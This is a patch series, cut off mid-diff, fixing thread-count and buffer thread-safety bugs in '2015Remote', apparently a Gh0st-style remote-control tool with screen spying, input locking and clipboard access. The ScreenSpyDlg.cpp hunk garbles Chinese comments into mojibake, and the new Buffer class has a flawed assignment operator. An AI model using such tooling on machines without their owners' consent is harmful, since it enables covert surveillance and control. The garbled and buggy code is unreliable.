From 5b86910cb2acebf929e893f775852a541a1cb05c Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Tue, 24 Dec 2024 18:08:26 +0800 Subject: [PATCH 1/3] fix: client threads number excceeding bug --- client/KernelManager.cpp | 42 ++++++++++++++++++++++++++++------------ client/KernelManager.h | 9 +++++++-- 2 files changed, 37 insertions(+), 14 deletions(-) diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 02f4933..7b7de05 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -18,7 +18,7 @@ CKernelManager::~CKernelManager() { printf("~CKernelManager begin\n"); int i = 0; - for (i=0;i<0x1000;++i) + for (i=0;iOnServerSending((char*)&bToken, 1); m_bIsDead = 1; OutputDebugStringA("======> Client exit \n"); - m_hThread[m_ulThreadCount].p = NULL; - delete pNew; - pNew = NULL; break; } @@ -90,9 +110,6 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) m_ClientObject->OnServerSending((char*)&bToken, 1); m_bIsDead = 2; OutputDebugStringA("======> Server exit \n"); - m_hThread[m_ulThreadCount].p = NULL; - delete pNew; - pNew = NULL; break; } @@ -147,9 +164,10 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) default: { OutputDebugStringA("======> Error operator\n"); - m_hThread[m_ulThreadCount].p = NULL; - delete pNew; - pNew = NULL; + if (m_ulThreadCount != -1) { + delete m_hThread[m_ulThreadCount].p; + m_hThread[m_ulThreadCount].p = NULL; + } break; } } diff --git a/client/KernelManager.h b/client/KernelManager.h index 873a160..2c78dd7 100644 --- a/client/KernelManager.h +++ b/client/KernelManager.h @@ -12,7 +12,9 @@ #include "Manager.h" #include -// 线程信息结构体 +#define MAX_THREADNUM 0x1000 + +// 线程信息结构体, 包含3个成员: 运行状态(run)、句柄(h)和通讯客户端(p). struct ThreadInfo { BOOL run; @@ -28,8 +30,11 @@ public: virtual ~CKernelManager(); VOID OnReceive(PBYTE szBuffer, ULONG ulLength); - ThreadInfo m_hThread[0x1000]; + ThreadInfo m_hThread[MAX_THREADNUM]; + // 此值在原代码中是用于记录线程数量;当线程数量超出限制时m_hThread会越界而导致程序异常 + // 因此我将此值的含义修改为"可用线程下标",代表数组m_hThread中所指位置可用,即创建新的线程放置在该位置 ULONG m_ulThreadCount; + UINT GetAvailableIndex(); }; #endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_) From 0c0c24534be0cb2da2a24431973c1a92681b2cf2 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Thu, 26 Dec 2024 17:07:43 +0800 Subject: [PATCH 2/3] fix: #19 the CBuffer causing server crash --- server/2015Remote/2015RemoteDlg.cpp | 11 ++- server/2015Remote/2015RemoteDlg.h | 2 +- server/2015Remote/AudioDlg.cpp | 6 +- server/2015Remote/Buffer.cpp | 114 ++++++++++++++++------ server/2015Remote/Buffer.h | 72 ++++++++++++-- server/2015Remote/IOCPServer.cpp | 8 +- server/2015Remote/RegisterDlg.cpp | 8 +- server/2015Remote/ScreenSpyDlg.cpp | 145 ++++++++++++++-------------- server/2015Remote/ServicesDlg.cpp | 5 +- server/2015Remote/ShellDlg.cpp | 3 +- server/2015Remote/SystemDlg.cpp | 11 ++- server/2015Remote/VideoDlg.cpp | 8 +- 12 files changed, 256 insertions(+), 137 deletions(-) diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index a39f5d5..d5eb698 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -393,7 +393,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog() SetIcon(m_hIcon, FALSE); // 设置小图标 // TODO: 在此添加额外的初始化代码 - + isClosed = FALSE; g_2015RemoteDlg = this; CreateToolBar(); InitControl(); @@ -542,6 +542,7 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) void CMy2015RemoteDlg::OnClose() { + isClosed = TRUE; ShowWindow(SW_HIDE); #if INDEPENDENT Shell_NotifyIcon(NIM_DELETE, &m_Nid); @@ -888,7 +889,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) return; } - switch (ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + switch (ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case COMMAND_BYE: { @@ -956,7 +957,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing; CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //注意这里的 ClientContext 正是发送数据时从列表里取出的数据 - if (ContextObject == NULL) + if (ContextObject == NULL || isClosed) { return -1; } @@ -970,7 +971,8 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) return -1; } - LOGIN_INFOR* LoginInfor = (LOGIN_INFOR*)ContextObject->InDeCompressedBuffer.GetBuffer(); + LOGIN_INFOR* LoginInfor = new LOGIN_INFOR; + ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0); sockaddr_in ClientAddr; memset(&ClientAddr, 0, sizeof(ClientAddr)); @@ -997,6 +999,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam) strAddr.Format("%d", nSocket); AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,ContextObject); + delete LoginInfor; return S_OK; }catch(...){ OutputDebugStringA("[ERROR] OnUserToOnlineList catch an error \n"); diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index cb66bfa..9e9a67a 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -81,7 +81,7 @@ public: NOTIFYICONDATA m_Nid; #endif CRITICAL_SECTION m_cs; - + BOOL isClosed; UINT m_iCount; CBitmap m_bmOnline[2]; afx_msg void OnTimer(UINT_PTR nIDEvent); diff --git a/server/2015Remote/AudioDlg.cpp b/server/2015Remote/AudioDlg.cpp index 1a9eb99..ba8cb2c 100644 --- a/server/2015Remote/AudioDlg.cpp +++ b/server/2015Remote/AudioDlg.cpp @@ -106,12 +106,12 @@ void CAudioDlg::OnReceiveComplete(void) CString strString; strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024); SetDlgItemText(IDC_TIPS, strString); - switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_AUDIO_DATA: { - m_AudioObject.PlayBuffer(m_ContextObject->InDeCompressedBuffer.GetBuffer(1), - m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); //播放波形数据 + Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); + m_AudioObject.PlayBuffer(tmp.Buf(), tmp.length()); //播放波形数据 break; } diff --git a/server/2015Remote/Buffer.cpp b/server/2015Remote/Buffer.cpp index 82cbe5c..4b67be3 100644 --- a/server/2015Remote/Buffer.cpp +++ b/server/2015Remote/Buffer.cpp @@ -6,6 +6,7 @@ #define U_PAGE_ALIGNMENT 3 #define F_PAGE_ALIGNMENT 3.0 + CBuffer::CBuffer(void) { m_ulMaxLength = 0; @@ -30,25 +31,29 @@ CBuffer::~CBuffer(void) } -ULONG CBuffer::RemoveComletedBuffer(ULONG ulLength) +ULONG CBuffer::RemoveCompletedBuffer(ULONG ulLength) { - if (ulLength >GetBufferMaxLength()) //如果传进的长度比内存的长度还大 + EnterCriticalSection(&m_cs); + + if (ulLength > m_ulMaxLength) //如果传进的长度比内存的长度还大 { + LeaveCriticalSection(&m_cs); return 0; } - if (ulLength >GetBufferLength()) //如果传进的长度 比有效的数据长度还大 + if (ulLength > ((ULONG)m_Ptr - (ULONG)m_Base)) //如果传进的长度 比有效的数据长度还大 { - ulLength = GetBufferLength(); + ulLength = (ULONG)m_Ptr - (ULONG)m_Base; } if (ulLength) { - MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); //数组前移 [Shinexxxx??] + MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength); //数组前移 [Shinexxxx??] m_Ptr -= ulLength; } - DeAllocateBuffer(GetBufferLength()); + DeAllocateBuffer((ULONG)m_Ptr - (ULONG)m_Base); + LeaveCriticalSection(&m_cs); return ulLength; } @@ -57,44 +62,46 @@ ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength) { EnterCriticalSection(&m_cs); - if (ulLength > GetBufferMaxLength()) + if (ulLength > m_ulMaxLength) { LeaveCriticalSection(&m_cs); return 0; } - if (ulLength > GetBufferLength()) + + if (ulLength > ((ULONG)m_Ptr - (ULONG)m_Base)) { - ulLength = GetBufferLength(); + ulLength = (ULONG)m_Ptr - (ULONG)m_Base; } if (ulLength) { CopyMemory(Buffer,m_Base,ulLength); - MoveMemory(m_Base,m_Base+ulLength,GetBufferMaxLength() - ulLength); + MoveMemory(m_Base,m_Base+ulLength, m_ulMaxLength - ulLength); m_Ptr -= ulLength; } - DeAllocateBuffer(GetBufferLength()); + DeAllocateBuffer((ULONG)m_Ptr - (ULONG)m_Base); LeaveCriticalSection(&m_cs); return ulLength; } +// 私有: 无需加锁 ULONG CBuffer::DeAllocateBuffer(ULONG ulLength) { - if (ulLength < GetBufferLength()) + if (ulLength < ((ULONG)m_Ptr - (ULONG)m_Base)) return 0; ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; - if (GetBufferMaxLength() <= ulNewMaxLength) + if (m_ulMaxLength <= ulNewMaxLength) { return 0; } PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE); - ULONG ulv1 = GetBufferLength(); //算原先内存的有效长度 + ULONG ulv1 = (ULONG)m_Ptr - (ULONG)m_Base; //算原先内存的有效长度 CopyMemory(NewBase,m_Base,ulv1); VirtualFree(m_Base,0,MEM_RELEASE); @@ -113,7 +120,7 @@ BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength) { EnterCriticalSection(&m_cs); - if (ReAllocateBuffer(ulLength + GetBufferLength()) == -1)//10 +1 1024 + if (ReAllocateBuffer(ulLength + ((ULONG)m_Ptr - (ULONG)m_Base)) == -1)//10 +1 1024 { LeaveCriticalSection(&m_cs); return false; @@ -126,9 +133,10 @@ BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength) return TRUE; } +// 私有: 无需加锁 ULONG CBuffer::ReAllocateBuffer(ULONG ulLength) { - if (ulLength < GetBufferMaxLength()) + if (ulLength < m_ulMaxLength) return 0; ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT; @@ -138,7 +146,9 @@ ULONG CBuffer::ReAllocateBuffer(ULONG ulLength) return -1; } - ULONG ulv1 = GetBufferLength(); //原先的有效数据长度 + + ULONG ulv1 = (ULONG)m_Ptr - (ULONG)m_Base; //原先的有效数据长度 + CopyMemory(NewBase,m_Base,ulv1); if (m_Base) @@ -162,29 +172,75 @@ VOID CBuffer::ClearBuffer() LeaveCriticalSection(&m_cs); } -ULONG CBuffer::GetBufferLength() const //获得有效数据长度 +ULONG CBuffer::GetBufferLength() // 获得有效数据长度 { + EnterCriticalSection(&m_cs); if (m_Base == NULL) + { + LeaveCriticalSection(&m_cs); return 0; + } + ULONG len = (ULONG)m_Ptr - (ULONG)m_Base; + LeaveCriticalSection(&m_cs); - return (ULONG)m_Ptr - (ULONG)m_Base; + return len; } - -ULONG CBuffer::GetBufferMaxLength() const +// 此函数不是多线程安全的. 只在远程桌面使用了. +LPBYTE CBuffer::GetBuffer(ULONG ulPos) { - return m_ulMaxLength; -} - -PBYTE CBuffer::GetBuffer(ULONG ulPos) const -{ - if (m_Base==NULL) + EnterCriticalSection(&m_cs); + if (m_Base==NULL || ulPos >= ((ULONG)m_Ptr - (ULONG)m_Base)) { + LeaveCriticalSection(&m_cs); return NULL; } - if (ulPos>=GetBufferLength()) + LPBYTE result = m_Base + ulPos; + LeaveCriticalSection(&m_cs); + + return result; +} + +// 此函数是多线程安全的. 获取缓存,得到Buffer对象. +Buffer CBuffer::GetMyBuffer(ULONG ulPos) +{ + EnterCriticalSection(&m_cs); + ULONG len = (ULONG)m_Ptr - (ULONG)m_Base; + if (m_Base == NULL || ulPos >= len) { + LeaveCriticalSection(&m_cs); + return Buffer(); + } + Buffer result = Buffer(m_Base+ulPos, len - ulPos); + LeaveCriticalSection(&m_cs); + + return result; +} + +// 此函数是多线程安全的. 获取缓存指定位置处的数值. +BYTE CBuffer::GetBYTE(ULONG ulPos) { + EnterCriticalSection(&m_cs); + if (m_Base == NULL || ulPos >= ((ULONG)m_Ptr - (ULONG)m_Base)) + { + LeaveCriticalSection(&m_cs); return NULL; } - return m_Base+ulPos; + BYTE p = *(m_Base + ulPos); + LeaveCriticalSection(&m_cs); + + return p; } + +// 此函数是多线程安全的. 将缓存拷贝至目标内存中. +BOOL CBuffer::CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos) { + EnterCriticalSection(&m_cs); + ULONG len = (ULONG)m_Ptr - (ULONG)m_Base; + if (m_Base == NULL || len - ulPos < nLen) + { + LeaveCriticalSection(&m_cs); + return FALSE; + } + memcpy(pDst, m_Base+ulPos, nLen); + LeaveCriticalSection(&m_cs); + return TRUE; +} \ No newline at end of file diff --git a/server/2015Remote/Buffer.h b/server/2015Remote/Buffer.h index 9efd176..728a94c 100644 --- a/server/2015Remote/Buffer.h +++ b/server/2015Remote/Buffer.h @@ -1,5 +1,61 @@ #pragma once #include +#include + +// Buffer 带引用计数的缓存. +class Buffer { +private: + PBYTE buf; + ULONG len; + ULONG *ref; + void AddRef() { + (*ref)++; + } + void DelRef() { + (*ref)--; + } +public: + LPBYTE &Buf() { + return buf; + } + ~Buffer() { + (*ref)--; + if (*ref == 0) { + if (buf!=NULL) + { + delete[] buf; + buf = NULL; + } + delete ref; + ref = NULL; + } + } + Buffer():buf(NULL), len(0), ref(new ULONG(1)) { + + } + Buffer(const BYTE * b, int n):len(n), ref(new ULONG(1)){ + buf = new BYTE[n]; + memcpy(buf, b, n); + } + Buffer(Buffer& o) { + o.AddRef(); + buf = o.buf; + len = o.len; + ref = o.ref; + } + Buffer operator =(Buffer &o) { + o.AddRef(); + buf = o.buf; + len = o.len; + ref = o.ref; + } + char* c_str() const { + return (char*)buf; + } + ULONG length()const { + return len; + } +}; class CBuffer { @@ -7,21 +63,21 @@ public: CBuffer(void); ~CBuffer(void); - ULONG GetBufferMaxLength() const; ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength); - ULONG GetBufferLength() const; //获得有效数据长度; - ULONG DeAllocateBuffer(ULONG ulLength); + ULONG GetBufferLength(); // 获得有效数据长度 VOID ClearBuffer(); - ULONG ReAllocateBuffer(ULONG ulLength); BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength); - PBYTE GetBuffer(ULONG ulPos=0) const; - ULONG RemoveComletedBuffer(ULONG ulLength); - VOID ReleaseMember(); - VOID InitMember(); + LPBYTE GetBuffer(ULONG ulPos); + Buffer GetMyBuffer(ULONG ulPos); + BYTE GetBYTE(ULONG ulPos); + BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos); + ULONG RemoveCompletedBuffer(ULONG ulLength); protected: PBYTE m_Base; PBYTE m_Ptr; ULONG m_ulMaxLength; CRITICAL_SECTION m_cs; + ULONG DeAllocateBuffer(ULONG ulLength); // 私有 + ULONG ReAllocateBuffer(ULONG ulLength); // 私有 }; diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 2bf1841..2e3eb2a 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -459,13 +459,13 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans while (ContextObject->InCompressedBuffer.GetBufferLength() > HDR_LENGTH) { char szPacketFlag[FLAG_LENGTH + 3]= {0}; // 8字节对齐 - CopyMemory(szPacketFlag, ContextObject->InCompressedBuffer.GetBuffer(),FLAG_LENGTH); + ContextObject->InCompressedBuffer.CopyBuffer(szPacketFlag, FLAG_LENGTH, 0); if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0) throw "Bad Buffer"; //Shine[50][kdjfkdjfkj] ULONG ulPackTotalLength = 0; - CopyMemory(&ulPackTotalLength, ContextObject->InCompressedBuffer.GetBuffer(FLAG_LENGTH), sizeof(ULONG)); + ContextObject->InCompressedBuffer.CopyBuffer(&ulPackTotalLength, sizeof(ULONG), FLAG_LENGTH); //取出数据包的总长 //50 if (ulPackTotalLength && (ContextObject->InCompressedBuffer.GetBufferLength()) >= ulPackTotalLength) @@ -584,7 +584,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl { DWORD ulFlags = MSG_PARTIAL; - ContextObject->OutCompressedBuffer.RemoveComletedBuffer(ulCompletedLength); //将完成的数据从数据结构中去除 + ContextObject->OutCompressedBuffer.RemoveCompletedBuffer(ulCompletedLength); //将完成的数据从数据结构中去除 if (ContextObject->OutCompressedBuffer.GetBufferLength() == 0) { ContextObject->OutCompressedBuffer.ClearBuffer(); @@ -594,7 +594,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl { OVERLAPPEDPLUS * OverlappedPlus = new OVERLAPPEDPLUS(IOWrite); //数据没有完成 我们继续投递 发送请求 - ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer(); + ContextObject->wsaOutBuffer.buf = (char*)ContextObject->OutCompressedBuffer.GetBuffer(0); ContextObject->wsaOutBuffer.len = ContextObject->OutCompressedBuffer.GetBufferLength(); int iOk = WSASend(ContextObject->sClientSocket, &ContextObject->wsaOutBuffer,1, &ContextObject->wsaOutBuffer.len, ulFlags,&OverlappedPlus->m_ol, NULL); diff --git a/server/2015Remote/RegisterDlg.cpp b/server/2015Remote/RegisterDlg.cpp index 945859f..c54a879 100644 --- a/server/2015Remote/RegisterDlg.cpp +++ b/server/2015Remote/RegisterDlg.cpp @@ -214,16 +214,18 @@ char CRegisterDlg::GetFatherPath(CString& strFullPath) void CRegisterDlg::OnReceiveComplete(void) { m_bIsWorking = TRUE; - switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0]) + switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_REG_PATH: { - AddPath((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1))); + Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); + AddPath(tmp.c_str()); break; } case TOKEN_REG_KEY: { - AddKey((char*)(m_ContextObject->InDeCompressedBuffer.GetBuffer(1))); + Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); + AddKey(tmp.c_str()); break; } default: diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 33f3068..5283123 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -1,4 +1,4 @@ -// ScreenSpyDlg.cpp : 实现文件 +锘// ScreenSpyDlg.cpp : 瀹炵幇鏂囦欢 // #include "stdafx.h" @@ -8,18 +8,18 @@ #include -// CScreenSpyDlg 对话框 +// CScreenSpyDlg 瀵硅瘽妗 enum { IDM_CONTROL = 0x1010, IDM_FULLSCREEN, IDM_SEND_CTRL_ALT_DEL, - IDM_TRACE_CURSOR, // 跟踪显示远程鼠标 - IDM_BLOCK_INPUT, // 锁定远程计算机输入 - IDM_SAVEDIB, // 保存图片 - IDM_GET_CLIPBOARD, // 获取剪贴板 - IDM_SET_CLIPBOARD, // 设置剪贴板 + IDM_TRACE_CURSOR, // 璺熻釜鏄剧ず杩滅▼榧犳爣 + IDM_BLOCK_INPUT, // 閿佸畾杩滅▼璁$畻鏈鸿緭鍏 + IDM_SAVEDIB, // 淇濆瓨鍥剧墖 + IDM_GET_CLIPBOARD, // 鑾峰彇鍓创鏉 + IDM_SET_CLIPBOARD, // 璁剧疆鍓创鏉 }; IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) @@ -29,7 +29,7 @@ IMPLEMENT_DYNAMIC(CScreenSpyDlg, CDialog) CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJECT* ContextObject) : CDialog(CScreenSpyDlg::IDD, Parent) { - ImmDisableIME(0);// 禁用输入法 + ImmDisableIME(0);// 绂佺敤杈撳叆娉 m_bFullScreen = FALSE; m_iocpServer = IOCPServer; @@ -37,7 +37,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC CHAR szFullPath[MAX_PATH]; GetSystemDirectory(szFullPath, MAX_PATH); - lstrcat(szFullPath, "\\shell32.dll"); //图标 + lstrcat(szFullPath, "\\shell32.dll"); //鍥炬爣 m_hIcon = ExtractIcon(AfxGetApp()->m_hInstance, szFullPath, 17); m_hCursor = LoadCursor(AfxGetApp()->m_hInstance, MAKEINTRESOURCE(IDC_ARROWS)); @@ -54,8 +54,7 @@ CScreenSpyDlg::CScreenSpyDlg(CWnd* Parent, IOCPServer* IOCPServer, CONTEXT_OBJEC ULONG ulBitmapInforLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapInforLength]; - - memcpy(m_BitmapInfor_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), ulBitmapInforLength); + m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapInfor_Full, ulBitmapInforLength, 1); m_bIsCtrl = FALSE; m_bIsTraceCursor = FALSE; @@ -78,7 +77,7 @@ CScreenSpyDlg::~CScreenSpyDlg() } ::ReleaseDC(m_hWnd, m_hFullDC); //GetDC - ::DeleteDC(m_hFullMemDC); //Create匹配内存DC + ::DeleteDC(m_hFullMemDC); //Create鍖归厤鍐呭瓨DC ::DeleteObject(m_BitmapHandle); if (m_BitmapData_Full!=NULL) @@ -108,7 +107,7 @@ BEGIN_MESSAGE_MAP(CScreenSpyDlg, CDialog) END_MESSAGE_MAP() -// CScreenSpyDlg 消息处理程序 +// CScreenSpyDlg 娑堟伅澶勭悊绋嬪簭 BOOL CScreenSpyDlg::OnInitDialog() @@ -117,37 +116,37 @@ BOOL CScreenSpyDlg::OnInitDialog() SetIcon(m_hIcon,FALSE); CString strString; - strString.Format("%s - 远程桌面控制 %d×%d", m_strClientIP, + strString.Format("%s - 杩滅▼妗岄潰鎺у埗 %d脳%d", m_strClientIP, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight); SetWindowText(strString); m_hFullDC = ::GetDC(m_hWnd); m_hFullMemDC = CreateCompatibleDC(m_hFullDC); m_BitmapHandle = CreateDIBSection(m_hFullDC, m_BitmapInfor_Full, - DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //创建应用程序可以直接写入的、与设备无关的位图 + DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL); //鍒涘缓搴旂敤绋嬪簭鍙互鐩存帴鍐欏叆鐨勩佷笌璁惧鏃犲叧鐨勪綅鍥 - SelectObject(m_hFullMemDC, m_BitmapHandle);//择一对象到指定的设备上下文环境 + SelectObject(m_hFullMemDC, m_BitmapHandle);//鎷╀竴瀵硅薄鍒版寚瀹氱殑璁惧涓婁笅鏂囩幆澧 - SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //指定滚动条范围的最小值和最大值 + SetScrollRange(SB_HORZ, 0, m_BitmapInfor_Full->bmiHeader.biWidth); //鎸囧畾婊氬姩鏉¤寖鍥寸殑鏈灏忓煎拰鏈澶у SetScrollRange(SB_VERT, 0, m_BitmapInfor_Full->bmiHeader.biHeight);//1366 768 CMenu* SysMenu = GetSystemMenu(FALSE); if (SysMenu != NULL) { SysMenu->AppendMenu(MF_SEPARATOR); - SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "控制屏幕(&Y)"); - SysMenu->AppendMenu(MF_STRING, IDM_FULLSCREEN, "全屏(&F)"); - SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "跟踪被控端鼠标(&T)"); - SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "锁定被控端鼠标和键盘(&L)"); - SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "保存快照(&S)"); + SysMenu->AppendMenu(MF_STRING, IDM_CONTROL, "鎺у埗灞忓箷(&Y)"); + SysMenu->AppendMenu(MF_STRING, IDM_FULLSCREEN, "鍏ㄥ睆(&F)"); + SysMenu->AppendMenu(MF_STRING, IDM_TRACE_CURSOR, "璺熻釜琚帶绔紶鏍(&T)"); + SysMenu->AppendMenu(MF_STRING, IDM_BLOCK_INPUT, "閿佸畾琚帶绔紶鏍囧拰閿洏(&L)"); + SysMenu->AppendMenu(MF_STRING, IDM_SAVEDIB, "淇濆瓨蹇収(&S)"); SysMenu->AppendMenu(MF_SEPARATOR); - SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "获取剪贴板(&R)"); - SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "设置剪贴板(&L)"); + SysMenu->AppendMenu(MF_STRING, IDM_GET_CLIPBOARD, "鑾峰彇鍓创鏉(&R)"); + SysMenu->AppendMenu(MF_STRING, IDM_SET_CLIPBOARD, "璁剧疆鍓创鏉(&L)"); SysMenu->AppendMenu(MF_SEPARATOR); } - m_bIsCtrl = FALSE; //不是控制 - m_bIsTraceCursor = FALSE; //不是跟踪 + m_bIsCtrl = FALSE; //涓嶆槸鎺у埗 + m_bIsTraceCursor = FALSE; //涓嶆槸璺熻釜 m_ClientCursorPos.x = 0; m_ClientCursorPos.y = 0; m_bCursorIndex = 0; @@ -177,7 +176,7 @@ VOID CScreenSpyDlg::OnReceiveComplete() { assert (m_ContextObject); - switch(m_ContextObject->InDeCompressedBuffer.GetBuffer()[0]) + switch(m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case TOKEN_FIRSTSCREEN: { @@ -186,7 +185,7 @@ VOID CScreenSpyDlg::OnReceiveComplete() } case TOKEN_NEXTSCREEN: { - if (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[1]==ALGORITHM_DIFF) + if (m_ContextObject->InDeCompressedBuffer.GetBYTE(1)==ALGORITHM_DIFF) { DrawNextScreenDiff(); } @@ -194,8 +193,8 @@ VOID CScreenSpyDlg::OnReceiveComplete() } case TOKEN_CLIPBOARD_TEXT: { - UpdateServerClipboard((char*)m_ContextObject->InDeCompressedBuffer.GetBuffer(1), - m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); + Buffer str = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(1); + UpdateServerClipboard(str.c_str(), str.length()); break; } } @@ -205,19 +204,19 @@ VOID CScreenSpyDlg::DrawFirstScreen(void) { m_bIsFirst = FALSE; - //得到被控端发来的数据 ,将他拷贝到HBITMAP的缓冲区中,这样一个图像就出现了 - memcpy(m_BitmapData_Full, m_ContextObject->InDeCompressedBuffer.GetBuffer(1), m_BitmapInfor_Full->bmiHeader.biSizeImage); + //寰楀埌琚帶绔彂鏉ョ殑鏁版嵁 锛屽皢浠栨嫹璐濆埌HBITMAP鐨勭紦鍐插尯涓紝杩欐牱涓涓浘鍍忓氨鍑虹幇浜 - PostMessage(WM_PAINT);//触发WM_PAINT消息 + m_ContextObject->InDeCompressedBuffer.CopyBuffer(m_BitmapData_Full, m_BitmapInfor_Full->bmiHeader.biSizeImage, 1); + PostMessage(WM_PAINT);//瑙﹀彂WM_PAINT娑堟伅 } VOID CScreenSpyDlg::DrawNextScreenDiff(void) { - //该函数不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用 - //OnPaint画上去 - //根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁 + //璇ュ嚱鏁颁笉鏄洿鎺ョ敾鍒板睆骞曚笂锛岃屾槸鏇存柊涓涓嬪彉鍖栭儴鍒嗙殑灞忓箷鏁版嵁鐒跺悗璋冪敤 + //OnPaint鐢讳笂鍘 + //鏍规嵁榧犳爣鏄惁绉诲姩鍜屽睆骞曟槸鍚﹀彉鍖栧垽鏂槸鍚﹂噸缁橀紶鏍囷紝闃叉榧犳爣闂儊 BOOL bChange = FALSE; - ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标 位置 + 光标类型索引 + ULONG ulHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 鏍囪瘑 + 绠楁硶 + 鍏夋爣 浣嶇疆 + 鍏夋爣绫诲瀷绱㈠紩 LPVOID FirstScreenData = m_BitmapData_Full; LPVOID NextScreenData = m_ContextObject->InDeCompressedBuffer.GetBuffer(ulHeadLength); ULONG NextScreenLength = m_ContextObject->InDeCompressedBuffer.GetBufferLength() - ulHeadLength; @@ -226,30 +225,30 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(void) memcpy(&OldClientCursorPos, &m_ClientCursorPos, sizeof(POINT)); memcpy(&m_ClientCursorPos, 